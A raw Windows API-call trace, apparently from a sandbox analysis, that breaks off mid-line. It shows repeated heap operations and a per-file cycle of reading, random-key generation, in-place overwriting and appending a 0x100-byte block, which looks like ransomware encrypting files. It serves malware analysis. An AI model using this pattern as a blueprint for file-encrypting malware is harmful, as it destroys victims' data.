RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.393] GetProcessHeap () returned 0x540000 [0086.393] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.393] GetProcessHeap () returned 0x540000 [0086.393] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.393] GetProcessHeap () returned 0x540000 [0086.393] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.393] GetProcessHeap () returned 0x540000 [0086.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.394] GetProcessHeap () returned 0x540000 [0086.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.394] GetProcessHeap () returned 0x540000 [0086.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.394] GetProcessHeap () returned 0x540000 [0086.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.394] GetProcessHeap () returned 0x540000 [0086.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.394] GetProcessHeap () returned 0x540000 [0086.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.394] GetProcessHeap () returned 0x540000 [0086.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.394] GetProcessHeap () returned 0x540000 [0086.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.394] GetProcessHeap () returned 0x540000 [0086.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.394] GetProcessHeap () returned 0x540000 [0086.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.394] GetProcessHeap () returned 0x540000 [0086.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.394] GetProcessHeap () returned 0x540000 [0086.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.394] GetProcessHeap () returned 0x540000 [0086.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.394] GetProcessHeap () returned 0x540000 [0086.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.394] GetProcessHeap () returned 0x540000 [0086.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.394] GetProcessHeap () returned 0x540000 [0086.394] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.394] GetProcessHeap () returned 0x540000 [0086.394] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.395] GetProcessHeap () returned 0x540000 [0086.395] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.395] GetProcessHeap () returned 0x540000 [0086.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.395] GetProcessHeap () returned 0x540000 [0086.395] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.395] GetProcessHeap () returned 0x540000 [0086.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.395] GetProcessHeap () returned 0x540000 [0086.395] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.395] GetProcessHeap () returned 0x540000 [0086.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.395] GetProcessHeap () returned 0x540000 [0086.395] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.395] GetProcessHeap () returned 0x540000 [0086.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.395] GetProcessHeap () returned 0x540000 [0086.395] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.395] GetProcessHeap () returned 0x540000 [0086.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.395] GetProcessHeap () returned 0x540000 [0086.395] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.395] GetProcessHeap () returned 0x540000 [0086.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.395] GetProcessHeap () returned 0x540000 [0086.395] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.395] GetProcessHeap () returned 0x540000 [0086.395] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.395] GetProcessHeap () returned 0x540000 [0086.396] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.396] GetProcessHeap () returned 0x540000 [0086.396] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.396] GetProcessHeap () returned 0x540000 [0086.396] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.396] GetProcessHeap () returned 0x540000 [0086.396] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.396] GetProcessHeap () returned 0x540000 [0086.396] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.396] GetProcessHeap () returned 0x540000 [0086.396] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.396] GetProcessHeap () returned 0x540000 [0086.396] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.396] GetProcessHeap () returned 0x540000 [0086.396] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.396] GetProcessHeap () returned 0x540000 [0086.396] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.396] SetFilePointerEx (in: hFile=0x938, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.396] WriteFile (in: hFile=0x938, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.396] WriteFile (in: hFile=0x938, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.397] GetProcessHeap () returned 0x540000 [0086.397] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33437c8 | out: hHeap=0x540000) returned 1 [0086.397] GetProcessHeap () returned 0x540000 [0086.397] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.397] GetProcessHeap () returned 0x540000 [0086.397] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.397] CloseHandle (hObject=0x938) returned 1 [0086.398] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 112 [0086.398] SetFilePointerEx (in: hFile=0x93c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.399] ReadFile (in: hFile=0x93c, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.399] SetFilePointerEx (in: hFile=0x93c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.399] GetProcessHeap () returned 0x540000 [0086.399] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.399] GetProcessHeap () returned 0x540000 [0086.399] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0086.399] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0086.399] GetProcessHeap () returned 0x540000 [0086.399] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0086.399] ReadFile (in: hFile=0x93c, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0086.447] SetFilePointerEx (in: hFile=0x93c, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.447] WriteFile (in: hFile=0x93c, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0086.447] GetProcessHeap () returned 0x540000 [0086.447] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.447] GetProcessHeap () returned 0x540000 [0086.447] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.447] GetProcessHeap () returned 0x540000 [0086.447] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0086.447] GetProcessHeap () returned 0x540000 [0086.447] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.447] GetProcessHeap () returned 0x540000 [0086.447] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.447] GetProcessHeap () returned 0x540000 [0086.447] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.447] GetProcessHeap () returned 0x540000 [0086.447] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.448] GetProcessHeap () returned 0x540000 [0086.448] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.448] GetProcessHeap () returned 0x540000 [0086.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.448] GetProcessHeap () returned 0x540000 [0086.448] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.448] GetProcessHeap () returned 0x540000 [0086.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.448] GetProcessHeap () returned 0x540000 [0086.448] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.448] GetProcessHeap () returned 0x540000 [0086.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.448] GetProcessHeap () returned 0x540000 [0086.448] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.448] GetProcessHeap () returned 0x540000 [0086.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.448] GetProcessHeap () returned 0x540000 [0086.448] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.448] GetProcessHeap () returned 0x540000 [0086.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.448] GetProcessHeap () returned 0x540000 [0086.448] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.448] GetProcessHeap () returned 0x540000 [0086.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.448] GetProcessHeap () returned 0x540000 [0086.448] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.448] GetProcessHeap () returned 0x540000 [0086.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.448] GetProcessHeap () returned 0x540000 [0086.448] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.448] GetProcessHeap () returned 0x540000 [0086.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.448] GetProcessHeap () returned 0x540000 [0086.448] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.448] GetProcessHeap () returned 0x540000 [0086.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.448] GetProcessHeap () returned 0x540000 [0086.448] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.448] GetProcessHeap () returned 0x540000 [0086.448] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.449] GetProcessHeap () returned 0x540000 [0086.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.449] GetProcessHeap () returned 0x540000 [0086.449] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.449] GetProcessHeap () returned 0x540000 [0086.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.449] GetProcessHeap () returned 0x540000 [0086.449] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.449] GetProcessHeap () returned 0x540000 [0086.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.449] GetProcessHeap () returned 0x540000 [0086.449] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.449] GetProcessHeap () returned 0x540000 [0086.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.449] GetProcessHeap () returned 0x540000 [0086.449] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.449] GetProcessHeap () returned 0x540000 [0086.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.449] GetProcessHeap () returned 0x540000 [0086.449] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.449] GetProcessHeap () returned 0x540000 [0086.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.449] GetProcessHeap () returned 0x540000 [0086.449] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0086.449] GetProcessHeap () returned 0x540000 [0086.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.449] GetProcessHeap () returned 0x540000 [0086.449] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0086.449] GetProcessHeap () returned 0x540000 [0086.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0086.449] GetProcessHeap () returned 0x540000 [0086.449] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0086.449] GetProcessHeap () returned 0x540000 [0086.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0086.449] GetProcessHeap () returned 0x540000 [0086.449] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0086.449] GetProcessHeap () returned 0x540000 [0086.449] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0086.449] GetProcessHeap () returned 0x540000 [0086.450] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.450] GetProcessHeap () returned 0x540000 [0086.450] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0086.450] GetProcessHeap () returned 0x540000 [0086.450] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.450] GetProcessHeap () returned 0x540000 [0086.450] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.450] GetProcessHeap () returned 0x540000 [0086.450] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.450] GetProcessHeap () returned 0x540000 [0086.450] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.450] GetProcessHeap () returned 0x540000 [0086.450] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.450] GetProcessHeap () returned 0x540000 [0086.450] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.450] GetProcessHeap () returned 0x540000 [0086.450] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.450] GetProcessHeap () returned 0x540000 [0086.450] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.450] GetProcessHeap () returned 0x540000 [0086.450] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.450] GetProcessHeap () returned 0x540000 [0086.450] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.450] GetProcessHeap () returned 0x540000 [0086.450] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.450] GetProcessHeap () returned 0x540000 [0086.450] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.450] GetProcessHeap () returned 0x540000 [0086.450] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.451] GetProcessHeap () returned 0x540000 [0086.451] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.451] GetProcessHeap () returned 0x540000 [0086.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.451] GetProcessHeap () returned 0x540000 [0086.451] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.451] GetProcessHeap () returned 0x540000 [0086.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.451] GetProcessHeap () returned 0x540000 [0086.451] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.451] GetProcessHeap () returned 0x540000 [0086.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.451] GetProcessHeap () returned 0x540000 [0086.451] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.451] GetProcessHeap () returned 0x540000 [0086.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0086.451] GetProcessHeap () returned 0x540000 [0086.451] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.451] GetProcessHeap () returned 0x540000 [0086.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0086.451] GetProcessHeap () returned 0x540000 [0086.451] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.451] GetProcessHeap () returned 0x540000 [0086.451] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0086.451] GetProcessHeap () returned 0x540000 [0086.451] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0086.451] GetProcessHeap () returned 0x540000 [0086.451] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0086.451] GetProcessHeap () returned 0x540000 [0086.451] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0086.452] GetProcessHeap () returned 0x540000 [0086.452] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0086.452] GetProcessHeap () returned 0x540000 [0086.452] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0086.452] SetFilePointerEx (in: hFile=0x93c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.452] WriteFile (in: hFile=0x93c, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x2c5fd44*=0x100, lpOverlapped=0x0) returned 1 [0086.452] WriteFile (in: hFile=0x93c, lpBuffer=0x2c5fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd48*, lpNumberOfBytesWritten=0x2c5fd44*=0x4, lpOverlapped=0x0) returned 1 [0086.452] GetProcessHeap () returned 0x540000 [0086.452] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x33427c0 | out: hHeap=0x540000) returned 1 [0086.452] GetProcessHeap () returned 0x540000 [0086.452] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0086.452] GetProcessHeap () returned 0x540000 [0086.452] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0086.452] CloseHandle (hObject=0x93c) returned 1 [0086.454] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 113 [0086.454] SetFilePointerEx (in: hFile=0x940, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.454] ReadFile (in: hFile=0x940, lpBuffer=0x2c5fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x2c5fd4c*, lpNumberOfBytesRead=0x2c5fd08*=0x0, lpOverlapped=0x0) returned 1 [0086.454] SetFilePointerEx (in: hFile=0x940, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0086.454] GetProcessHeap () returned 0x540000 [0086.454] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0086.454] GetProcessHeap () returned 0x540000 [0086.454] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0086.454] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0086.454] GetProcessHeap () returned 0x540000 [0086.454] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x33427c0 [0086.454] ReadFile (in: hFile=0x940, lpBuffer=0x33427c0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x2c5fd08, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesRead=0x2c5fd08*=0x1000, lpOverlapped=0x0) returned 1 [0086.503] SetFilePointerEx (in: hFile=0x940, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0086.503] WriteFile (in: hFile=0x940, lpBuffer=0x33427c0*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x2c5fd44, lpOverlapped=0x0 | out: lpBuffer=0x33427c0*, lpNumberOfBytesWritten=0x2c5fd44*=0x1000, lpOverlapped=0x0) returned 1 [0086.503] GetProcessHeap () returned 0x540000 [0086.503] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0086.503] GetProcessHeap () returned 0x540000 [0086.503] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.503] GetProcessHeap () returned 0x540000 [0086.503] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0086.503] GetProcessHeap () returned 0x540000 [0086.503] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.503] GetProcessHeap () returned 0x540000 [0086.503] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0086.503] GetProcessHeap () returned 0x540000 [0086.503] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0086.503] GetProcessHeap () returned 0x540000 [0086.503] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.503] GetProcessHeap () returned 0x540000 [0086.503] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.503] GetProcessHeap () returned 0x540000 [0086.503] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.503] GetProcessHeap () returned 0x540000 [0086.503] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.503] GetProcessHeap () returned 0x540000 [0086.503] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.504] GetProcessHeap () returned 0x540000 [0086.504] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.504] GetProcessHeap () returned 0x540000 [0086.504] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.504] GetProcessHeap () returned 0x540000 [0086.504] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0086.504] GetProcessHeap () returned 0x540000 [0086.504] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0086.504] GetProcessHeap () returned 0x540000 [0086.504] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0086.504] GetProcessHeap () returned 0x540000 [0086.504] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0086.504] GetProcessHeap () returned 0x540000 [0086.504] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: 